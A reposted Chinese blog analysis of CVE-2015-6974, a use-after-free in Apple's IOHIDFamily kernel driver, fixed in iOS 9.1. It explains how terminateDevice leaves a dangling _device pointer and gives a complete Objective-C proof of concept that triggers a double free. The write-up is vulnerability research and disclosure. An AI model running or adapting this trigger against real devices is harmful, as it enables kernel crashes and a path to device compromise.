转载

CVE-2015-6974分析与PoC

0x00 概述

先看来看苹果官方的描述

CVE-2015-6974分析与PoC

这个洞,我在今年8月份的时候挖到了它,但当时并有报给苹果。后来玩去了,以为iOS9.0就修复了,有人报了,所以也没有去报了,居然也没有去验证。最近闲下来,给苹果发邮件,想知道CVE编号,苹果说是CVE-2015-6974,才知道原来是9.1才修复。

CVE-2015-6974分析与PoC

0x01 原理

问题出在苹果的IOHIDFamily这个驱动的代码里面,这个驱动苹果是开放了源码的。在iOS里面,这个驱动提供了三个面向用户态client:

  • IOHIDResourceDeviceUserClient
  • IOHIDLibUserClient
  • IOHIDEventServiceUserClient

每个client会提供一些面向用户态的接口函数。苹果有很多CVE都和这个驱动有关,这也是当时去做这个模块的fuzz的原因。好像说多了废话,来看漏洞:

在IOHIDResourceUserClient的第1号函数:

#!c IOReturn IOHIDResourceDeviceUserClient::terminateDevice() {     if (_device) {         _device->terminate();     }     OSSafeRelease(_device);     return kIOReturnSuccess; } 

_device 是创建的一个虚拟的IOHIDDevice设备的指针,是IOHIDResourceDeviceUserClient的一个成员变量:

class IOHIDResourceDeviceUserClient : public IOUserClient {     OSDeclareDefaultStructors(IOHIDResourceDeviceUserClient);  private:      IOHIDResource *         _owner;     OSDictionary *          _properties;     IOHIDUserDevice *       _device; 

由IOHIDResourceDeviceUserClient的第0号函数 IOHIDResourceUserClient::creatDevice()创建。这个函数会对传入的参数做一些检查,然后调用createAndStartDevice()为 _device 分配空间:

#!c IOReturn IOHIDResourceDeviceUserClient::createAndStartDevice() {     … _device = IOHIDUserDevice::withProperties(_properties);     … } 

OK,再看terminateDevice()里的那句:

OSSafeRelease(_device) 

不得不说是有问题的。OSSafeRelease的源码是这样子:

define OSSafeRelease(inst) do { if (inst) (inst)->release(); } while (0) 

release之后,并没有把对象的指针置为NULL。所以, _device 被释放之后, _device 还保留着原来的对象的指针,指向了一片free掉的堆块。再去调用IOHIDResourceDeviceUserClient的第三号函数:handleReport()。里面会调用 _device 的成员方法:

IOReturn IOHIDResourceDeviceUserClient::handleReport(IOExternalMethodArguments * arguments) { …      ret = _device->handleReportWithTimeAsync(timestamp, report, kIOHIDReportTypeInput, 0, 0, &tap);//这里调用了_device的成员方法。      report->release();      if (ret != kIOReturnSuccess) {         IOFree(pb, sizeof(*pb));         release();     } }  return ret; } 

这就妥妥地USE-AFTER-FREE了。

0x02 利用思路

于是就有了触发思路:

  1. 调用IOHIDResourceDeviceUserClient::createDevice()来创建一个设备,给_device赋值。
  2. 调用IOHIDResourceDeviceUserClient::teminateDevice()释放_device
  3. 调用IOHIDResourceDeviceUserClient::handleReport()来触发漏洞。或者是再次调用IOHIDResourceDeviceUserClient::teminateDevice()来造成double-free。

0x03 PoCo代码

当时fuzz这个模块的时候,开了4个线程,每个线程去跑一个用户态方法,很快就有panic。这里给出一份PoC:

#!objc #import <Foundation/Foundation.h> #import <IOKit/IOTypes.h> #import <IOKit/IOKitLib.h> #import <UIKit/UIKit.h> #import <IOKit/IOCFSerialize.h> #import <IOKit/IOKitKeys.h>   static UInt8 gTelephonyButtonsDesc[] = {     0x05, 0x0B,                               // Usage Page (Telephony Device)     0x09, 0x01,                               // Usage 1 (0x1)     0xA1, 0x01,                               // Collection (Application)     0x05, 0x0B,                               //   Usage Page (Telephony Device)      0x09, 0x21,                               //   Usage 33 (0x21)     0x09, 0xB0,                               //   Usage 176 (0xb0)     0x09, 0xB1,                               //   Usage 177 (0xb1)     0x09, 0xB2,                               //   Usage 178 (0xb2)       0x15, 0x00,                               //   Logical Minimum......... (0)     0x25, 0x01,                               //   Logical Maximum......... (1)     0x75, 0x01,                               //   Report Size............. (1)     0x95, 0x0D,                               //   Report Count............ (13)     0x81, 0x02,                               //   Input...................(Data, Variable, Absolute)     0x75, 0x03,                               //   Report Size............. (3)     0x95, 0x01,                               //   Report Count............ (1)     0x81, 0x01,                               //   Input...................(Constant)     0xC0,                                     // End Collection };     @interface  IOHIDResourceDeviceUserClientBug : NSObject{     io_connect_t connect; } -(void)gogogo; -(void)deviceCreateData:(void **)buffer andSize:(vm_size_t *)buffersize; -(void)connectClient; -(void)createDevice; -(void)terminateDevice; @end      @implementation IOHIDResourceDeviceUserClientBug      -(void)gogogo{              //trigger the vulnerable code     NSLog(@"!!!!!");     sleep(1);     [self connectClient];     [self createDevice];     [self terminateDevice];     [self terminateDevice];   //trigger! }      -(void)deviceCreateData:(void **)buffer andSize:(vm_size_t *)bufferSize{      vm_size_t descriptorLength = sizeof(gTelephonyButtonsDesc);     void      *descriptor      = (void *)malloc(descriptorLength);     bcopy(gTelephonyButtonsDesc, descriptor, descriptorLength);      CFMutableDictionaryRef properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);      CFDataRef   descriptorData  = NULL;     CFNumberRef timeoutNumber   = NULL;     CFNumberRef intervalNumber  = NULL;     uint32_t    value           = 5000000;     uint32_t    reportinterval  = 5000;       descriptorData = CFDataCreate(kCFAllocatorDefault, descriptor, descriptorLength);     timeoutNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &value);     intervalNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &reportinterval);       CFDictionarySetValue(properties,CFSTR("ReportDescriptor"),descriptorData);     CFDictionarySetValue(properties,CFSTR("RequestTimeout"),timeoutNumber);     CFDictionarySetValue(properties,CFSTR("ReportInterval"),intervalNumber);      CFDataRef data = IOCFSerialize(properties,0);     *buffer = (UInt8 *)CFDataGetBytePtr(data);     *bufferSize = CFDataGetLength(data);      }     -(void)connectClient{     CFDictionaryRef     matchDict = NULL;     io_service_t        service   = 0;     kern_return_t       kr;     matchDict   = IOServiceMatching("IOHIDResource");     service     = IOServiceGetMatchingService(kIOMasterPortDefault, matchDict);     kr          = IOServiceOpen(service, mach_task_self(), 0, &connect); }     -(kern_return_t)createDevice{     kern_return_t   kr;     uint64_t            *scalarInput;     uint32_t            scalarInputCount = 0;     void                *structureInput;     size_t              structureInputSize = 0;     uint64_t            *scalarOutput;     uint32_t            scalarOutputCount = 0;     void                *structureOutput;     size_t              structureOutputSize = 0;     scalarInput = (uint64_t)malloc(1*sizeof(uint64_t));     scalarInput[0] = 0;     [self deviceCreateData:&structureInput andSize:(vm_size_t)&(structureInputSize)];     kr =  IOConnectCallMethod(connect,                                      0,                                      scalarInput, scalarInputCount,                                      structureInput, structureInputSize,                                      scalarOutput, &scalarOutputCount,                                      structureOutput, &structureOutputSize);     if(kr!=0){         NSLog(@"device create failed %x",kr);     }     else         NSLog(@"create device success");     return kr; }      -(void)terminateDevice{     kern_return_t   kr;         uint64_t            *scalarInput;     uint32_t            scalarInputCount = 0;     void                *structureInput;     size_t              structureInputSize = 0;     uint64_t            *scalarOutput;     uint32_t            scalarOutputCount = 0;     void                *structureOutput;     size_t              structureOutputSize = 0;     kr =  IOConnectCallMethod(connect,                                      1,                                      scalarInput, scalarInputCount,                                      structureInput, structureInputSize,                                      scalarOutput, &scalarOutputCount,                                      structureOutput, &structureOutputSize);     return kr; } @end       int main(){     IOHIDResourceDeviceUserClientBug *trigger = [[IOHIDResourceDeviceUserClientBug alloc] init];     [trigger gogogo];     return 0; } 

只是创建设备的时候麻烦点,要构造好参数,才能绕过创建设备前的那些检查。首先是IOConnectCallMethod那几个长度参数的检查,再就是structureInput得是特定的xml格式的数据。而且键值 ReportDescriptor 要构造好。具体都在poc里面。

0x04 结尾

后来发现 盘古 POC 2015会议上的分享就是讲的这个洞。没想到是iOS9.0越狱就用了这个洞,感到万分惊奇。莫名觉得好爽。

正文到此结束
Loading...